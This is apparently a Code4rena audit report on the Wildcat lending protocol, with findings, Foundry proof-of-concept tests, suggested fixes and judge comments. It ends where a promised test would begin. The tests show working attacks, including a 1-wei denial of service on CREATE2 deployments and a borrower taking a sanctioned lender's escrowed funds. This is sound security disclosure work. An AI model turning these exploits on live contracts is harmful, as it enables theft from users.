Platform: Code4rena
Start Date: 16/10/2023
Pot Size: $60,500 USDC
Total HM: 16
Participants: 131
Period: 10 days
Judge: 0xTheC0der
Total Solo HM: 3
Id: 296
League: ETH
Rank: 2/131
Findings: 11
Award: $10,093.23
🌟 Selected for report: 7
🚀 Solo Findings: 1
🌟 Selected for report: MiloTruck
Also found by: 0xDING99YA, Robert
3367.7761 USDC - $3,367.78
https://github.com/code-423n4/2023-10-wildcat/blob/main/src/WildcatMarketControllerFactory.sol#L294-L296 https://github.com/code-423n4/2023-10-wildcat/blob/main/src/WildcatMarketController.sol#L351-L353 https://github.com/code-423n4/2023-10-wildcat/blob/main/src/WildcatSanctionsSentinel.sol#L106
In WildcatMarketControllerFactory.sol
, registered borrowers can call deployController()
to deploy a WildcatMarketController
contract for themselves.
The function checks if the codehash
of the controller address is bytes32(0)
to determine if the controller has already been deployed:
WildcatMarketControllerFactory.sol#L287-L296
// Salt is borrower address bytes32 salt = bytes32(uint256(uint160(msg.sender))); controller = LibStoredInitCode.calculateCreate2Address( ownCreate2Prefix, salt, controllerInitCodeHash ); if (controller.codehash != bytes32(0)) { // auditor: This check revert ControllerAlreadyDeployed(); }
This same check is also used in deployMarket()
, which is called by borrowers to deploy markets:
WildcatMarketController.sol#L349-L353
bytes32 salt = _deriveSalt(asset, namePrefix, symbolPrefix); market = LibStoredInitCode.calculateCreate2Address(ownCreate2Prefix, salt, marketInitCodeHash); if (market.codehash != bytes32(0)) { revert MarketAlreadyDeployed(); }
This check also exists in createEscrow()
, which is called by markets to deploy an escrow contract whenever a sanctioned lender gets blocked:
WildcatSanctionsSentinel.sol#L104-L106
escrowContract = getEscrowAddress(borrower, account, asset); if (escrowContract.codehash != bytes32(0)) return escrowContract;
However, this <address>.codehash != bytes32(0)
check is insufficient to determine if an address has existing code.
According to EIP-1052, addresses without code only return a 0x0
codehash when they are empty:
In case the account does not exist or is empty (as defined by EIP-161)
0
is pushed to the stack.In case the account does not have code the keccak256 hash of empty data (i.e.
c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470
) is pushed to the stack.
As seen from above, addresses without code can also return keccak256("")
as its codehash if it is non-empty. EIP-161 states that an address must have a zero ETH balance for it to be empty:
An account is considered empty when it has no code and zero nonce and zero balance.
As such, if anyone transfers 1 wei to an address, .codehash
will return keccak256("")
instead of bytes32(0)
, making the checks shown above pass incorrectly.
Since all contract deployments in the protocol use CREATE2
, a malicious attacker can harm users by doing the following:
computeControllerAddress()
to compute the controller address for a borrower..codehash
to become non-zero.deployController()
is called by the borrower, the check passes, causing the function to revert.computeMarketAddress()
with arguments such that the deployment salt is the same..codehash
to become non-zero.deployMarket()
is called by the borrower, the function reverts.getEscrowAddress()
with the borrower
, sanctioned lender
and market/asset address to compute the resulting escrow address..codehash
to become non-zero.nukeFromOrbit()
or executeWithdrawal()
is called, createEscrow()
simply returns the escrow address instead of deploying an escrow contract.Note that for controller deployments, since the salt is fixed to the borrower
address and cannot be varied, the DOS for deployController()
is permanent. This effectively locks the borrower
out of all protocol functionality forever since he can never deploy a market controller for himself.
An attacker can do the following at the cost of 1 wei and some gas:
deployController()
to always revert for his address.deployMarket()
to always revert for a given borrower
, lender
and market
.nukeFromOrbit()
or executeWithdrawal()
is called for his address.The code below contains three tests:
test_CanDOSControllerDeployment()
demonstrates how an attacker can force deployController()
to revert permanently for a borrower by transferring 1 wei to the computed controller address.test_CanDOSMarketDeployment()
demonstrates how deployMarket()
can be forced to revert with the same attack.test_CanSkipEscrowDeployment()
shows how an attacker can skip the escrow deployment for a lender if he gets blocked, causing his market tokens to be unrecoverable.// SPDX-License-Identifier: MIT pragma solidity >=0.8.20; import 'src/WildcatSanctionsSentinel.sol'; import 'src/WildcatArchController.sol'; import 'src/WildcatMarketControllerFactory.sol'; import 'src/interfaces/IWildcatMarketControllerEventsAndErrors.sol'; import 'forge-std/Test.sol'; import 'test/shared/TestConstants.sol'; import 'test/helpers/MockERC20.sol'; contract CodeHashTest is Test, IWildcatMarketControllerEventsAndErrors { // Wildcat contracts address MOCK_CHAINALYSIS_ADDRESS = address(0x1337); WildcatSanctionsSentinel sentinel; WildcatArchController archController; WildcatMarketControllerFactory controllerFactory; // Test contracts MockERC20 asset; // Users address AIKEN; address DUEET; function setUp() external { // Deploy Wildcat contracts archController = new WildcatArchController(); sentinel = new WildcatSanctionsSentinel(address(archController), MOCK_CHAINALYSIS_ADDRESS); MarketParameterConstraints memory constraints = MarketParameterConstraints({ minimumDelinquencyGracePeriod: MinimumDelinquencyGracePeriod, maximumDelinquencyGracePeriod: MaximumDelinquencyGracePeriod, minimumReserveRatioBips: MinimumReserveRatioBips, maximumReserveRatioBips: MaximumReserveRatioBips, minimumDelinquencyFeeBips: MinimumDelinquencyFeeBips, maximumDelinquencyFeeBips: MaximumDelinquencyFeeBips, minimumWithdrawalBatchDuration: MinimumWithdrawalBatchDuration, maximumWithdrawalBatchDuration: MaximumWithdrawalBatchDuration, minimumAnnualInterestBips: MinimumAnnualInterestBips, maximumAnnualInterestBips: MaximumAnnualInterestBips }); controllerFactory = new WildcatMarketControllerFactory( address(archController), address(sentinel), constraints ); // Register controllerFactory in archController archController.registerControllerFactory(address(controllerFactory)); // Deploy asset token asset = new MockERC20(); // Setup Aiken and register him as borrower AIKEN = makeAddr("AIKEN"); archController.registerBorrower(AIKEN); // Setup Dueet and give him some asset token DUEET = makeAddr("DUEET"); asset.mint(DUEET, 1000e18); } function test_CanDOSControllerDeployment() public { // Dueet front-runs Aiken and transfers 1 wei to Aiken's controller address address controllerAddress = controllerFactory.computeControllerAddress(AIKEN); payable(controllerAddress).transfer(1); // Codehash of Aiken's controller address is now keccak256("") assertEq(controllerAddress.codehash, keccak256("")); // Aiken calls deployController(), but it reverts due to non-zero codehash vm.prank(AIKEN); vm.expectRevert(WildcatMarketControllerFactory.ControllerAlreadyDeployed.selector); controllerFactory.deployController(); } function test_CanDOSMarketDeployment() public { // Deploy WildcatMarketController for Aiken (WildcatMarketController controller, ) = _deployControllerAndMarket( AIKEN, address(0), "_", "_" ); // Dueet front-runs Aiken and transfers 1 wei to market address string memory namePrefix = "Market Token"; string memory symbolPrefix = "MKT"; address marketAddress = controller.computeMarketAddress( address(asset), namePrefix, symbolPrefix ); payable(marketAddress).transfer(1); // Codehash of market address is now keccak256("") assertEq(marketAddress.codehash, keccak256("")); // Aiken calls deployMarket(), but it reverts due to non-zero codehash vm.prank(AIKEN); vm.expectRevert(MarketAlreadyDeployed.selector); controller.deployMarket( address(asset), namePrefix, symbolPrefix, type(uint128).max, MaximumAnnualInterestBips, MaximumDelinquencyFeeBips, MaximumWithdrawalBatchDuration, MaximumReserveRatioBips, MaximumDelinquencyGracePeriod ); } function test_CanSkipEscrowDeployment() public { // Deploy WildcatMarketController and WildcatMarket for Aiken (WildcatMarketController controller, WildcatMarket market) = _deployControllerAndMarket( AIKEN, address(asset), "Market Token", "MKT" ); // Register Dueet as lender address[] memory arr = new address[](1); arr[0] = DUEET; vm.prank(AIKEN); controller.authorizeLenders(arr); // Dueet becomes a lender in the market vm.startPrank(DUEET); asset.approve(address(market), 1000e18); market.depositUpTo(1000e18); vm.stopPrank(); // Dueet becomes sanctioned vm.mockCall( MOCK_CHAINALYSIS_ADDRESS, abi.encodeCall(IChainalysisSanctionsList.isSanctioned, (DUEET)), abi.encode(true) ); // Attacker transfers 1 wei to Dueet's escrow address // Note: Borrower and lender addresses are swapped due to a separate bug address escrowAddress = sentinel.getEscrowAddress(DUEET, AIKEN, address(market)); payable(escrowAddress).transfer(1); // Codehash of market address is now keccak256("") assertEq(escrowAddress.codehash, keccak256("")); // Dueet gets blocked in market market.nukeFromOrbit(DUEET); // Dueet's MKT tokens are transferred to his escrow address assertEq(market.balanceOf(escrowAddress), 1000e18); // However, the escrow contract was not deployed assertEq(escrowAddress.code.length, 0); } function _deployControllerAndMarket( address user, address _asset, string memory namePrefix, string memory symbolPrefix ) internal returns (WildcatMarketController, WildcatMarket){ vm.prank(user); (address controller, address market) = controllerFactory.deployControllerAndMarket( namePrefix, symbolPrefix, _asset, type(uint128).max, MaximumAnnualInterestBips, MaximumDelinquencyFeeBips, MaximumWithdrawalBatchDuration, MaximumReserveRatioBips, MaximumDelinquencyGracePeriod ); return (WildcatMarketController(controller), WildcatMarket(market)); } }
Consider checking if the codehash of an address is not keccak256("")
as well:
WildcatMarketControllerFactory.sol#L294-L296
- if (controller.codehash != bytes32(0)) { + if (controller.codehash != bytes32(0) && controller.codehash != keccak256("")) { revert ControllerAlreadyDeployed(); }
WildcatMarketController.sol#L351-L353
- if (market.codehash != bytes32(0)) { + if (market.codehash != bytes32(0) && market.codehash != keccak256("")) { revert MarketAlreadyDeployed(); }
WildcatSanctionsSentinel.sol#L106
- if (escrowContract.codehash != bytes32(0)) return escrowContract; + if (escrowContract.codehash != bytes32(0)) && escrowContract.codehash != keccak256("") return escrowContract;
Alternatively, use <address>.code.length != 0
to check if an address has code instead.
Invalid Validation
#0 - c4-pre-sort
2023-10-28T14:51:42Z
minhquanym marked the issue as duplicate of #531
#1 - c4-judge
2023-11-07T10:11:29Z
MarioPoneder marked the issue as not a duplicate
#2 - c4-judge
2023-11-07T10:11:37Z
MarioPoneder marked the issue as primary issue
#3 - c4-judge
2023-11-07T10:12:53Z
MarioPoneder marked the issue as satisfactory
#4 - c4-judge
2023-11-07T10:12:59Z
MarioPoneder marked the issue as selected for report
#5 - laurenceday
2023-11-09T08:35:23Z
Fix for this is easier than suggested - just change from x.codehash != bytes32(0)
to x.code.length != 0
.
Mitigated by https://github.com/wildcat-finance/wildcat-protocol/pull/57/commits/3b33a2f46b14079d3eb3b7429394b9e37c7fce03 and https://github.com/wildcat-finance/wildcat-protocol/pull/57/commits/fcbf50c9dae18b51d7ec5acf556ab2fc0f8a834f.
#6 - laurenceday
2023-11-09T09:56:38Z
I'd emphasise here, however, that this is only a High Risk finding in the escrow situation - the others are griefing attacks that cause nothing to be 'lost'. Still a valuable finding, mind.
#7 - MarioPoneder
2023-11-12T15:44:49Z
Further info for wardens: Duplicates that found only 1 of the 3 instances of the present issue are awarded with partial-25.
#8 - c4-sponsor
2023-11-14T17:27:01Z
laurenceday (sponsor) confirmed
🌟 Selected for report: 0xpiken
Also found by: 0xCiphky, 0xComfyCat, 0xStalin, 0xhegel, 0xkazim, 3docSec, AM, Aymen0909, CaeraDenoir, DeFiHackLabs, Drynooo, Eigenvectors, Fulum, HALITUS, HChang26, Jiamin, Juntao, LokiThe5th, Mike_Bello90, MiloTruck, QiuhaoLi, Silvermist, SovaSlava, SpicyMeatball, T1MOH, Toshii, TrungOre, TuringConsulting, Vagner, Yanchuan, ZdravkoHr, _nd_koo, almurhasan, audityourcontracts, ayden, cartlex_, circlelooper, crunch, cu5t0mpeo, deth, erictee, ggg_ttt_hhh, gizzy, gumgumzum, hash, jasonxiale, josephdara, ke1caM, kodyvim, lanrebayode77, marqymarq10, max10afternoon, nirlin, nonseodion, osmanozdemir1, peter, radev_sw, rvierdiiev, said, serial-coder, sl1, smiling_heretic, squeaky_cactus, stackachu, tallo, trachev, zaevlad
0.1213 USDC - $0.12
https://github.com/code-423n4/2023-10-wildcat/blob/main/src/market/WildcatMarketConfig.sol#L134 https://github.com/code-423n4/2023-10-wildcat/blob/main/src/market/WildcatMarket.sol#L142
In markets, the following functions can only be called by the borrower's WildcatMarketController
contract as they have the onlyController
modifier:
setMaxTotalSupply()
in WildcatMarketConfig.sol
:function setMaxTotalSupply(uint256 _maxTotalSupply) external onlyController nonReentrant {
closeMarket()
in WildcatMarket.sol
function closeMarket() external onlyController nonReentrant {
However, in WildcatMarketController.sol
, these functions are not called anywhere in the code.
As WildcatMarketController.sol
has missing functions, a market's maxTotalSupply
cannot be changed after deployment, even if the borrower wishes to borrow more assets.
Additionally, the borrower has no way of closing a market, even if he does not wish to borrow anymore funds.
Add the missing functions in WildcatMarketController.sol
so that borrowers can call setMaxTotalSupply()
and closeMarket()
.
Error
#0 - c4-pre-sort
2023-10-27T06:24:11Z
minhquanym marked the issue as duplicate of #162
#1 - c4-pre-sort
2023-10-27T06:58:22Z
minhquanym marked the issue as duplicate of #147
#2 - c4-judge
2023-11-07T13:51:11Z
MarioPoneder marked the issue as satisfactory
#3 - c4-judge
2023-11-07T14:16:53Z
MarioPoneder changed the severity to 3 (High Risk)
🌟 Selected for report: YusSecurity
Also found by: 0xAsen, 0xCiphky, 0xDING99YA, 0xKbl, 0xSwahili, 0xbepresent, 3docSec, AS, Aymen0909, DeFiHackLabs, GREY-HAWK-REACH, KeyKiril, MiloTruck, QiuhaoLi, Silvermist, SovaSlava, TrungOre, VAD37, Vagner, Yanchuan, ZdravkoHr, ast3ros, cartlex_, d3e4, deth, ggg_ttt_hhh, gizzy, kodyvim, nirlin, nobody2018, rvierdiiev, serial-coder, sl1, tallo, xeros
6.6715 USDC - $6.67
https://github.com/code-423n4/2023-10-wildcat/blob/main/src/market/WildcatMarketBase.sol#L172-L176 https://github.com/code-423n4/2023-10-wildcat/blob/main/src/market/WildcatMarketWithdrawals.sol#L166-L170
In WildcatSanctionsSentinel.sol
, createEscrow()
takes in a borrower
, account
and asset
address, which is used to deploy an escrow contract for the account
:
WildcatSanctionsSentinel.sol#L95-L99
function createEscrow( address borrower, address account, address asset ) public override returns (address escrowContract) {
However, in WildcatMarketBase.sol
, _blockAccount()
calls createEscrow()
with arguments in the wrong order:
WildcatMarketBase.sol#L172-L176
address escrow = IWildcatSanctionsSentinel(sentinel).createEscrow( accountAddress, borrower, address(this) );
Similarly, in WildcatMarketWithdrawals.sol
, executeWithdrawal()
calls createEscrow()
with arguments in the wrong order as well:
WildcatMarketWithdrawals.sol#L166-L170
address escrow = IWildcatSanctionsSentinel(sentinel).createEscrow( accountAddress, borrower, address(asset) );
Where:
accountAddress
is the address of the sanctioned lender.As seen from above, the address of the borrower and lender are swapped. This causes the market tokens and/or assets of the sanctioned lender to be incorrectly deposited into the borrower's escrow contract when either nukeFromOrbit()
or executeWithdrawal()
is called, allowing the borrower to withdraw the lender's funds.
When a lender is sanctioned by Chainalysis, a market's borrower can call nukeFromOrbit()
or executeWithdrawal()
for the lender to steal all his funds.
The following Foundry test demonstrates how nukeFromOrbit()
creates an escrow contract for the borrower instead of the lender, allowing the borrower to steal the lender's market tokens:
// SPDX-License-Identifier: MIT pragma solidity >=0.8.20; import 'src/WildcatSanctionsSentinel.sol'; import 'src/WildcatArchController.sol'; import 'src/WildcatMarketControllerFactory.sol'; import 'src/WildcatSanctionsEscrow.sol'; import 'forge-std/Test.sol'; import 'test/shared/TestConstants.sol'; import 'test/helpers/MockERC20.sol'; contract CreaetEscrowIncorrectArgumentsTest is Test { // Wildcat contracts WildcatSanctionsSentinel sentinel; WildcatArchController archController; WildcatMarketControllerFactory controllerFactory; WildcatMarketController controller; WildcatMarket market; // Test contracts MockChainalysis chainalysis = new MockChainalysis(); MockERC20 asset = new MockERC20(); // Users address AIKEN; address DUEET; function setUp() external { // Deploy Wildcat contracts archController = new WildcatArchController(); sentinel = new WildcatSanctionsSentinel(address(archController), address(chainalysis)); MarketParameterConstraints memory constraints = MarketParameterConstraints({ minimumDelinquencyGracePeriod: MinimumDelinquencyGracePeriod, maximumDelinquencyGracePeriod: MaximumDelinquencyGracePeriod, minimumReserveRatioBips: MinimumReserveRatioBips, maximumReserveRatioBips: MaximumReserveRatioBips, minimumDelinquencyFeeBips: MinimumDelinquencyFeeBips, maximumDelinquencyFeeBips: MaximumDelinquencyFeeBips, minimumWithdrawalBatchDuration: MinimumWithdrawalBatchDuration, maximumWithdrawalBatchDuration: MaximumWithdrawalBatchDuration, minimumAnnualInterestBips: MinimumAnnualInterestBips, maximumAnnualInterestBips: MaximumAnnualInterestBips }); controllerFactory = new WildcatMarketControllerFactory( address(archController), address(sentinel), constraints ); // Register controllerFactory in archController archController.registerControllerFactory(address(controllerFactory)); // Setup Aiken and register him as borrower AIKEN = makeAddr("AIKEN"); archController.registerBorrower(AIKEN); // Setup Dueet and give him some asset token DUEET = makeAddr("DUEET"); asset.mint(DUEET, 1000e18); // Deploy controller and market for Aiken vm.prank(AIKEN); (address _controller, address _market) = controllerFactory.deployControllerAndMarket( "Market Token", "MKT", address(asset), type(uint128).max, MaximumAnnualInterestBips, MaximumDelinquencyFeeBips, MaximumWithdrawalBatchDuration, MaximumReserveRatioBips, MaximumDelinquencyGracePeriod ); controller = WildcatMarketController(_controller); market = WildcatMarket(_market); } function test_blockAccountDeploysEscrowWrongly() public { // Register Dueet as lender address[] memory arr = new address[](1); arr[0] = DUEET; vm.prank(AIKEN); controller.authorizeLenders(arr); // Dueet becomes a lender in the market vm.startPrank(DUEET); asset.approve(address(market), 1000e18); market.depositUpTo(1000e18); vm.stopPrank(); // Dueet becomes sanctioned chainalysis.sanction(DUEET); // Dueet gets blocked in market market.nukeFromOrbit(DUEET); // Borrower and lender is swapped in the deployed escrow contract address escrowAddress = sentinel.getEscrowAddress(DUEET, AIKEN, address(market)); WildcatSanctionsEscrow escrow = WildcatSanctionsEscrow(escrowAddress); assertEq(escrow.account(), AIKEN); assertEq(escrow.borrower(), DUEET); // Aiken withdraws Dueet's market tokens from the escrow escrow.releaseEscrow(); assertEq(market.balanceOf(AIKEN), 1000e18); } } contract MockChainalysis { mapping(address => bool) public isSanctioned; function sanction(address addr) external { isSanctioned[addr] = true; } }
In _blockAccount()
and executeWithdrawal()
, call createEscrow()
with arguments in the correct order:
WildcatMarketBase.sol#L172-L176
address escrow = IWildcatSanctionsSentinel(sentinel).createEscrow( - accountAddress, borrower, + accountAddress, address(this) );
WildcatMarketWithdrawals.sol#L166-L170
address escrow = IWildcatSanctionsSentinel(sentinel).createEscrow( - accountAddress, borrower, + accountAddress, address(asset) );
Error
#0 - c4-pre-sort
2023-10-27T02:28:11Z
minhquanym marked the issue as duplicate of #515
#1 - c4-judge
2023-11-07T11:54:58Z
MarioPoneder marked the issue as satisfactory
🌟 Selected for report: MiloTruck
Also found by: 0xStalin, DarkTower, GREY-HAWK-REACH, InAllHonesty, J4X, YusSecurity, devival
223.7218 USDC - $223.72
https://github.com/code-423n4/2023-10-wildcat/blob/main/src/market/WildcatMarket.sol#L56-L65
Some tokens (eg. AMPL), known as rebasing tokens, have dynamic balances. This means that the token balance of an address could increase or decrease over time.
However, markets in the protocol are unable to handle such changes in token balance. When lenders call depositUpTo()
, the amount of assets they deposit is stored as a fixed amount in account.scaledBalance
:
uint104 scaledAmount = state.scaleAmount(amount).toUint104(); if (scaledAmount == 0) revert NullMintAmount(); // Transfer deposit from caller asset.safeTransferFrom(msg.sender, address(this), amount); // Cache account data and revert if not authorized to deposit. Account memory account = _getAccountWithRole(msg.sender, AuthRole.DepositAndWithdraw); account.scaledBalance += scaledAmount; _accounts[msg.sender] = account;
Afterwards, when lenders want to withdraw their assets, the amount of assets that they can withdraw will be based off this value.
Therefore, since a lender's scaledBalance
is fixed and does not change according to the underlying asset balance, lenders will lose funds if they deposit into a market with a rebasing token as the asset.
For example, if AMPL is used as the market's asset, and AMPL rebases to increase the token balance of all its users, lenders in the market will still only be able to withdraw the original amount they deposited multiplied by the market's interest rate. The underlying increase in AMPL will not accrue to anyone, and is only accessible by the borrower by calling borrow()
.
If a market uses a rebasing tokens as its asset, lenders will lose funds when the asset token rebases.
Consider implementing a token blacklist in the protocol, such as in WildcatArchController
, and adding all rebasing tokens to this blacklist.
Additionally, consider documenting that markets are not compatible with rebasing tokens.
ERC20
#0 - c4-pre-sort
2023-10-27T09:57:28Z
minhquanym marked the issue as primary issue
#1 - c4-pre-sort
2023-10-27T09:59:37Z
minhquanym marked the issue as sufficient quality report
#2 - minhquanym
2023-10-28T14:47:11Z
Consider QA
#3 - laurenceday
2023-10-31T23:38:24Z
Agreed - this is a Low that we can flag up to borrowers deploying. Not interested in maintaining a token whitelist or blacklist, as it goes against the point that we don't intervene.
#4 - c4-sponsor
2023-10-31T23:38:34Z
laurenceday marked the issue as disagree with severity
#5 - c4-sponsor
2023-10-31T23:38:38Z
laurenceday (sponsor) acknowledged
#6 - c4-judge
2023-11-07T22:51:47Z
MarioPoneder marked the issue as satisfactory
#7 - c4-judge
2023-11-07T22:57:44Z
MarioPoneder marked issue #560 as primary and marked this issue as a duplicate of 560
#8 - MarioPoneder
2023-11-07T23:05:15Z
stETH
to name a "central" example, are no novelty in the DeFi space anymore and users expect DeFi protocols to be compatible with them when no further notice is provided.#9 - c4-judge
2023-11-09T15:30:05Z
MarioPoneder marked the issue as selected for report
#10 - 0x3b33
2023-11-18T17:02:59Z
L-13 from the bot report explains that rebasing/fee-on-transfer tokens will not work.
🌟 Selected for report: MiloTruck
3741.9734 USDC - $3,741.97
https://github.com/code-423n4/2023-10-wildcat/blob/main/src/market/WildcatMarketBase.sol#L510-L511
After a lender calls queueWithdrawal()
, the amount of assets allocated to a withdrawal batch is calculated in _applyWithdrawalBatchPayment()
as shown:
WildcatMarketBase.sol#L510-L518
uint104 scaledAmountBurned = uint104(MathUtils.min(scaledAvailableLiquidity, scaledAmountOwed)); uint128 normalizedAmountPaid = state.normalizeAmount(scaledAmountBurned).toUint128(); batch.scaledAmountBurned += scaledAmountBurned; batch.normalizedAmountPaid += normalizedAmountPaid; state.scaledPendingWithdrawals -= scaledAmountBurned; // Update normalizedUnclaimedWithdrawals so the tokens are only accessible for withdrawals. state.normalizedUnclaimedWithdrawals += normalizedAmountPaid;
The calculation relies on normalizeAmount()
to convert the amount of market tokens in a batch into assets.
However, as normalizeAmount()
rounds up, it might cause the amount of assets allocated to a batch to be 1 higher than the correct amount. For example, if availableLiquidity
is 77e6
USDC, normalizedAmount
could become 77e6 + 1
after calculation due to rounding.
This is problematic as it causes totalDebts()
to increase, causing the market to incorrectly become delinquent after _applyWithdrawalBatchPayment()
is called although the borrower has transferred sufficient assets.
More specifically, if a market's asset balance is equal to totalDebts()
, it should never be delinquent regardless of what function is called as the market has sufficient assets to cover the amount owed. However, due to the bug shown above, this could occur after a function such as queueWithdrawal()
is called.
A market could incorrectly become delinquent after _applyWithdrawalBatchPayment()
is called.
This could cause a borrower to wrongly pay a higher interest rate, for example:
totalDebts()
to get the amount of assets owed.updateState()
.queueWithdrawal()
.Additionally, this bug also makes it possible for a market to become delinquent after it is closed through closeMarket()
, which should not be possible.
The code below contains two tests:
test_queueWithdrawalRoundingAffectsDelinquency()
demonstrates how rounding up in _applyWithdrawalBatchPayment()
could make the market delinquent even when it should not be.test_marketCanBecomeDelinquentAfterClosing()
shows how a market can become delinquent even after closeMarket()
is called.// SPDX-License-Identifier: MIT pragma solidity >=0.8.20; import 'src/WildcatArchController.sol'; import 'src/WildcatMarketControllerFactory.sol'; import 'forge-std/Test.sol'; import 'test/shared/TestConstants.sol'; import 'test/helpers/MockERC20.sol'; contract WithdrawalRoundingTest is Test { // Wildcat contracts WildcatMarketController controller; WildcatMarket market; // Test contracts MockERC20 asset = new MockERC20(); // Users address AIKEN; address DUEET; function setUp() external { // Deploy Wildcat contracts WildcatArchController archController = new WildcatArchController(); MarketParameterConstraints memory constraints = MarketParameterConstraints({ minimumDelinquencyGracePeriod: MinimumDelinquencyGracePeriod, maximumDelinquencyGracePeriod: MaximumDelinquencyGracePeriod, minimumReserveRatioBips: 0, maximumReserveRatioBips: MaximumReserveRatioBips, minimumDelinquencyFeeBips: 0, maximumDelinquencyFeeBips: MaximumDelinquencyFeeBips, minimumWithdrawalBatchDuration: MinimumWithdrawalBatchDuration, maximumWithdrawalBatchDuration: MaximumWithdrawalBatchDuration, minimumAnnualInterestBips: MinimumAnnualInterestBips, maximumAnnualInterestBips: MaximumAnnualInterestBips }); WildcatMarketControllerFactory controllerFactory = new WildcatMarketControllerFactory( address(archController), address(0), constraints ); // Set protocol fee to 10% controllerFactory.setProtocolFeeConfiguration( address(1), address(0), 0, 1000 // protocolFeeBips ); // Register controllerFactory in archController archController.registerControllerFactory(address(controllerFactory)); // Setup users AIKEN = makeAddr("AIKEN"); DUEET = makeAddr("DUEET"); asset.mint(AIKEN, 1000e18); asset.mint(DUEET, 1000e18); // Deploy controller and market for Aiken archController.registerBorrower(AIKEN); vm.prank(AIKEN); (address _controller, address _market) = controllerFactory.deployControllerAndMarket( "Market Token", "MKT", address(asset), type(uint128).max, 50, // annual interest rate = 5% 300, // delinquency fee = 30% 3 weeks, 300, // reserve ratio = 30% MaximumDelinquencyGracePeriod ); controller = WildcatMarketController(_controller); market = WildcatMarket(_market); // Register Dueet as lender address[] memory arr = new address[](1); arr[0] = DUEET; vm.prank(AIKEN); controller.authorizeLenders(arr); } function test_queueWithdrawalRoundingAffectsDelinquency() public { // Dueet deposits 1000e18 tokens vm.startPrank(DUEET); asset.approve(address(market), 1000e18); market.depositUpTo(1000e18); vm.stopPrank(); // Aiken borrows all assets uint256 amount = market.borrowableAssets(); vm.prank(AIKEN); market.borrow(amount); // 1 day and 1 second passes skip(1 days + 1); // Aiken transfers assets so that market won't be delinquent even after full withdrawal amount = market.currentState().totalDebts() - market.totalAssets(); vm.prank(AIKEN); asset.transfer(address(market), amount); // Collect fees market.collectFees(); // Save snapshot before withdrawals uint256 snapshot = vm.snapshot(); // Market won't be delinquent if Dueet withdraws all tokens at once amount = market.balanceOf(DUEET); vm.prank(DUEET); market.queueWithdrawal(amount); assertFalse(market.currentState().isDelinquent); // Revert state to before withdrawals vm.revertTo(snapshot); // Dueet withdraws 710992167266111033190 tokens vm.prank(DUEET); market.queueWithdrawal(710992167266111033190); // Dueet withdraws the rest of his tokens amount = market.balanceOf(DUEET); vm.prank(DUEET); market.queueWithdrawal(amount); // Market is now delinquent although same amount of tokens was withdrawn assertTrue(market.currentState().isDelinquent); } function test_marketCanBecomeDelinquentAfterClosing() public { // Dueet deposits 1000e18 tokens vm.startPrank(DUEET); asset.approve(address(market), 1000e18); market.depositUpTo(1000e18); vm.stopPrank(); // Aiken borrows all assets uint256 amount = market.borrowableAssets(); vm.prank(AIKEN); market.borrow(amount); // 1 day and 1 second passes skip(1 days + 1); // Aiken closes the market amount = market.currentState().totalDebts(); vm.prank(AIKEN); asset.approve(address(market), amount); vm.prank(address(controller)); market.closeMarket(); // Collect fees market.collectFees(); // Dueet withdraws 710992167266111033190 tokens vm.prank(DUEET); market.queueWithdrawal(710992167266111033190); // Dueet withdraws the rest of his tokens amount = market.balanceOf(DUEET); vm.prank(DUEET); market.queueWithdrawal(amount); // Market is now delinquent, even though it has been closed assertTrue(market.currentState().isDelinquent); } }
In _applyWithdrawalBatchPayment()
, consider rounding down when calculating the amount of assets allocated to a batch:
WildcatMarketBase.sol#L510-L511
uint104 scaledAmountBurned = uint104(MathUtils.min(scaledAvailableLiquidity, scaledAmountOwed)); - uint128 normalizedAmountPaid = state.normalizeAmount(scaledAmountBurned).toUint128(); + uint128 normalizedAmountPaid = MathUtils.mulDiv(scaledAmountBurned, state.scaleFactor, MathUtils.RAY).toUint128();
Math
#0 - c4-pre-sort
2023-10-28T11:49:29Z
minhquanym marked the issue as sufficient quality report
#1 - c4-sponsor
2023-11-06T20:39:03Z
d1ll0n (sponsor) confirmed
#2 - c4-judge
2023-11-07T12:19:26Z
MarioPoneder marked the issue as satisfactory
#3 - c4-judge
2023-11-07T12:19:43Z
MarioPoneder marked the issue as selected for report
#4 - c4-judge
2023-11-07T14:30:03Z
MarioPoneder marked the issue as primary issue
491.0217 USDC - $491.02
https://github.com/code-423n4/2023-10-wildcat/blob/main/src/market/WildcatMarket.sol#L106-L107
The collectFees()
function calls _writeState()
before transferring assets to the feeRecipient
:
_writeState(state); asset.safeTransfer(feeRecipient, withdrawableFees);
However, _writeState()
calls totalAssets()
when checking if the market is delinquent:
WildcatMarketBase.sol#L448-L453
function _writeState(MarketState memory state) internal { bool isDelinquent = state.liquidityRequired() > totalAssets(); state.isDelinquent = isDelinquent; _state = state; emit StateUpdated(state.scaleFactor, isDelinquent); }
totalAssets()
returns the current asset balance of the market:
WildcatMarketBase.sol#L238-L240
function totalAssets() public view returns (uint256) { return IERC20(asset).balanceOf(address(this)); }
Since the transfer of assets is only performed after _writeState()
is called, totalAssets()
will be higher than it should be in _writeState()
. This could cause collectFees()
to incorrectly update state.isDelinquent
to false
when the market is still delinquent.
For example:
liquidityRequired() = 1050
totalAssets() = 1000
state.accruedProtocolFees = 50
collectFees()
. In _writeState()
:
liquidityRequired() = 1050 - 50 = 1000
totalAssets() = 1000
since the transfer of assets has not occurred.liquidityRequired() == totalAssets()
, isDelinquent
is updated to false
.totalAssets()
will be 950
after the call to collectFees()
.collectFees()
will incorrectly update the market to non-delinquent when liquidityRequired() < totalAssets() + state.accuredProtocolFees
.
Should this occur, the delinquency fee will not be added to scaleFactor
until the market's state is updated later on, causing a loss of yield for lenders since the borrower gets to avoid paying the penalty fee for a period of time.
The following test demonstrates how collectFees()
incorrectly updates state.isDelinquent
to false
when the market is still delinquent:
